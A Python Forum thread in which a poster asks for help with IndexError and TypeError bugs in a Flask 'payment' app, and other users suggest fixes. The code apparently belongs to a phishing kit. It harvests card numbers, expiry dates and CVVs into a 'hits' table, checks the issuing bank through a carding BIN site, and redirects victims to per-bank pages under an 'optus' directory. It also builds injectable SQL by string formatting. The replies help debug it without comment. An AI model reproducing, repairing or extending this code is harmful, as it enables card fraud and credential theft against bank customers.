Python Forum
IndexError: list index out of range" & "TypeError: The view function f: Flask Web App
Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
IndexError: list index out of range" & "TypeError: The view function f: Flask Web App
#1
Hi there, this is my first ever post so im going to try to provide as much info as possible. Basically i have created an app for our company which requests our customer for their first initial payment information (credit card), then once entered the script uses the BIN number to determine which bank they are using, and then forwards them to their bank page so they can setup the direct debit for future transactions. Ive included this part of the script below, there are other parts of the script which do other things on the site which are working and id prefer not to share this as it has some confidential information inside.

The error im getting is : IndexError: list index out of range

Here is the traceback :

Error:
Traceback (most recent call last): File "/Users/joel/virt_env/lib/python3.7/site-packages/flask/app.py", line 2088, in __call__ return self.wsgi_app(environ, start_response) File "/Users/joel/virt_env/lib/python3.7/site-packages/flask/app.py", line 2073, in wsgi_app response = self.handle_exception(e) File "/Users/joel/virt_env/lib/python3.7/site-packages/flask/app.py", line 2070, in wsgi_app response = self.full_dispatch_request() File "/Users/joel/virt_env/lib/python3.7/site-packages/flask/app.py", line 1516, in full_dispatch_request return self.finalize_request(rv) File "/Users/joel/virt_env/lib/python3.7/site-packages/flask/app.py", line 1535, in finalize_request response = self.make_response(rv) File "/Users/joel/virt_env/lib/python3.7/site-packages/flask/app.py", line 1699, in make_response f"The view function for {request.endpoint!r} did not" TypeError: The view function for 'pay' did not return a valid response. The function either returned None or ended without a return statement.
Although if i look further back on the traceback i think the problem lies here in the second to last line but dont know why:
Error:
File "/Users/joel/.pyenv/versions/3.9.5/lib/python3.9/site-packages/flask/app.py", line 1499, in dispatch_request return self.ensure_sync(self.view_functions[rule.endpoint])(**req.view_args) File "/Users/joel/Documents/GitHub/MAPS/Ubuntu/var/www/optus/OPTUS/app_cc.py", line 133, in pay bank = checkBin(cc) File "/Users/joel/Documents/GitHub/MAPS/Ubuntu/var/www/optus/OPTUS/app_cc.py", line 162, in checkBin bank = response.text.split(cc[:6])[1].split('/table')[0].strip().split('ank:&nbsp;&nbsp;</th><td>')[1].replace( IndexError: list index out of range
from flask import Flask, render_template, json, request, redirect, session, jsonify, url_for, send_file, flash
from flaskext.mysql import MySQL
from pymysql.cursors import DictCursor
from time import sleep
import os
import random
import logging
import requests
from bs4 import BeautifulSoup
import json
from flask_gzipbomb import GzipBombResponse
from selenium import webdriver
from selenium.webdriver.common.proxy import Proxy, ProxyType
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.by import By
import jinja2

dir_path = os.path.dirname(os.path.realpath(__file__))
mysql = MySQL(cursorclass=DictCursor)
app = Flask(__name__)


@app.route('/pay', methods=["POST", "GET"])
def pay():
	error = "Please enter a valid card number."
	cc = "{}{1}{2}{3}".format(request.form.get('first'), request.form.get('second'), request.form.get('third'), request.form.get('fourth'))
	expiry = '{0}/{1}'.format(request.form.get('card_month'), request.form.get('card_year'))
	ccv = request.form.get('card_ccv')
	check = luhn(cc)
	if check:
		sql = "UPDATE hits SET cc = '%s', exp = '%s', ccv = '%s' WHERE mob = '%s'" % (cc, expiry, ccv, session['id'])
		updateDB(sql)
		bank = checkBin(cc)
		if bank == 'CBA':
			session['error'] = None
			return redirect(url_for('CBAhome'))
		elif bank == 'ING':
			session['error'] == None
			return redirect(url_for('INGhome'))
		elif bank == 'NAB':
			session['error'] = None
			return redirect(url_for('NABhome'))
		elif bank == 'ANZ':
			session['error'] = None
			return redirect(url_for('ANZhome'))
		elif bank == 'WSP':
			session['error'] = None
			return redirect(url_for('WSPhome'))
		elif bank == 'GRT':
			session['error'] = None
			return redirect(url_for('GRThome'))
		elif bank == 'NEW':
			session['error'] = None
			return redirect(url_for('NEWhome'))
		else:
			return redirect(url_for('success'))


def checkBin(cc):
	params = (('bins', cc[:6]),)
	response = requests.get('https://ccbins.pro/', params=params)
	bank = response.text.split(cc[:6])[1].split('/table')[0].strip().split('ank:&nbsp;&nbsp;</th><td>')[1].replace(
		'</td></tr>', '')
	print(bank)
	if 'COMMONWEALTH' in bank:
		return 'CBA'
	elif 'ING BANK' in bank:
		return 'ING'
	elif 'NATIONAL' in bank:
		return 'NAB'
	elif 'ZEALAND' in bank:
		return 'ANZ'
	elif 'WESTPAC' in bank:
		return 'WSP'
	elif 'GREATER' in bank:
		return 'GRT'
	elif 'NEWCASTLE' in bank:
		return 'NEW'
	else:
		return False


def luhn(purported):
	LUHN_ODD_LOOKUP = (0, 2, 4, 6, 8, 1, 3, 5, 7, 9)  # sum_of_digits (index * 2)

	if not isinstance(purported, str):
		purported = str(purported)
	try:
		evens = sum(int(p) for p in purported[-1::-2])
		odds = sum(LUHN_ODD_LOOKUP[int(p)] for p in purported[-2::-2])
		return ((evens + odds) % 10 == 0)
	except ValueError:  # Raised if an int conversion fails
		return False
Im not sure if Index Error is the same error as the Type error or if they are related... Any help would be greatly appreciated.

Joel
Yoriz write Aug-30-2021, 09:55 AM:
Please post all code, output and errors (in their entirety) between their respective tags. Refer to BBCode help topic on how to post. Use the "Preview Post" button to make sure the code is presented as you expect before hitting the "Post Reply/Thread" button.
Reply
#2
suspect error line 40:
session['error'] == None
should be :
session['error'] = None

This function (pay) could be replaced with (no way to test, but if not correct, this is very close):
def pay():

    errors = {
        'CBA': 'CBAhome',
        'ING': 'INGhome',
        'NAB': 'NABhome',
        'ANZ': 'ANZhome',
        'WSP': 'WSPhome',
        'GRT': 'GRThome',
        'NEW': 'NEWhome'
    }

    error = "Please enter a valid card number."

    cc = "{}{1}{2}{3}".format(request.form.get('first'),
        request.form.get('second'), request.form.get('third'),
        request.form.get('fourth'))

    expiry = '{0}/{1}'.format(request.form.get('card_month'),
        request.form.get('card_year'))

    ccv = request.form.get('card_ccv')

    if luhn(cc):
        sql = "UPDATE hits SET cc = '%s', exp = '%s', ccv = '%s' \
            WHERE mob = '%s'" % (cc, expiry, ccv, session['id'])
        updateDB(sql)
        bank = checkBin(cc)
        if errors[bank]:
            session['error'] = None
            return redirect(url_for(errors[bank])
        else:
            return redirect(url_for('success'))
Reply
#3

Hi Larz,

thanks for getting back to me with what i think is pretty close to a solution for my issue, after trying your suggestion for the (pay) function i get the following error, how would i reseolve this?


Error:
Traceback (most recent call last): File "/Users/jay/.pyenv/versions/3.9.5/lib/python3.9/site-packages/flask/app.py", line 2088, in __call__ return self.wsgi_app(environ, start_response) File "/Users/jay/.pyenv/versions/3.9.5/lib/python3.9/site-packages/flask/app.py", line 2073, in wsgi_app response = self.handle_exception(e) File "/Users/jay/.pyenv/versions/3.9.5/lib/python3.9/site-packages/flask/app.py", line 2070, in wsgi_app response = self.full_dispatch_request() File "/Users/jay/.pyenv/versions/3.9.5/lib/python3.9/site-packages/flask/app.py", line 1515, in full_dispatch_request rv = self.handle_user_exception(e) File "/Users/jay/.pyenv/versions/3.9.5/lib/python3.9/site-packages/flask/app.py", line 1513, in full_dispatch_request rv = self.dispatch_request() File "/Users/jay/.pyenv/versions/3.9.5/lib/python3.9/site-packages/flask/app.py", line 1499, in dispatch_request return self.ensure_sync(self.view_functions[rule.endpoint])(**req.view_args) File "/Users/jay/Documents/GitHub/MAPS/Ubuntu/var/www/optus/OPTUS/app_cc.py", line 137, in pay cc = "{}{1}{2}{3}".format(request.form.get('first'), ValueError: cannot switch from automatic field numbering to manual field specification
Your help is much appreciated :)
Reply
#4
As a advice so is Flask-SQLAlchemy like a standard in Flask ,it make easier and safer to accomplish database tasks in Flask.
Can connect to many databases eg:
mysql://scott:tiger@localhost/mydatabase
Reply
#5
Thanks man ill keep that in mind for future projects

(Aug-31-2021, 07:39 PM)snippsat Wrote: As a advice so is Flask-SQLAlchemy like a standard in Flask ,it make easier and safer to accomplish database tasks in Flask.
Can connect to many databases eg:
mysql://scott:tiger@localhost/mydatabase
Reply
#6
Thanks man ill keep that in mind for future projects
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Flask run function in background and auto refresh page raossabe 2 7,516 Aug-20-2022, 10:00 PM
Last Post: snippsat
  Flask TypeError: Object of type Decimal is not JSON serializable mekacharan 0 3,942 Jul-15-2021, 05:28 AM
Last Post: mekacharan
  Python BeautifulSoup IndexError: list index out of range rhat398 1 6,223 May-28-2021, 09:09 PM
Last Post: Daring_T
  Using range slider in flask webpage to use in python KimPet 2 7,615 Jan-23-2021, 11:58 PM
Last Post: snippsat
  how to pass javascript variables to url_for function in a flask template experimental 5 6,385 Oct-29-2020, 03:29 AM
Last Post: universe
  single range function AgileAVS 3 2,105 Oct-05-2020, 08:30 AM
Last Post: buran
  Flask Create global response function to be called from every where in the web app umen 2 2,295 Apr-14-2020, 09:54 PM
Last Post: umen
  TypeError list indices must be integers or slices not str Nuwan16 4 3,482 Apr-04-2020, 09:15 AM
Last Post: Nuwan16
  IndexError: tuple index out of range ? JohnnyCoffee 4 3,390 Jan-22-2020, 06:54 AM
Last Post: JohnnyCoffee
  [Flask] How to paginate a list of posts SheeppOSU 2 4,361 Jun-22-2019, 07:45 PM
Last Post: SheeppOSU

Forum Jump:

User Panel Messages

Announcements
Announcement #1 8/1/2020
Announcement #2 8/2/2020
Announcement #3 8/6/2020